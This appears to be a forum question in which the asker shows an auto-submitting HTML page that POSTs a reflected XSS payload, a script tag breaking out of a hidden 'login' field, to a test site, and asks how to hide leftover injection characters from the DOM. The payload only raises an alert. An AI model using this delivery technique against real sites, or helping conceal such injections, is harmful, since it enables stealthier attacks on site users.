I have created an html page that redirects user to a test site that has an XSS vulnerability. I am able to successfully execute javascript via the vulnerability. However, I have found that some of the characters I am using as part of the XSS attack are displaying in the DOM. How can I hide these characters from showing in the DOM?
<body onload="document.forms[0].submit()">
<form action="http://sometestsite.com" method="POST">
<input
type="hidden"
name="login"
value='"><script>alert(document.location)</script>'
</input>
</form>
</body>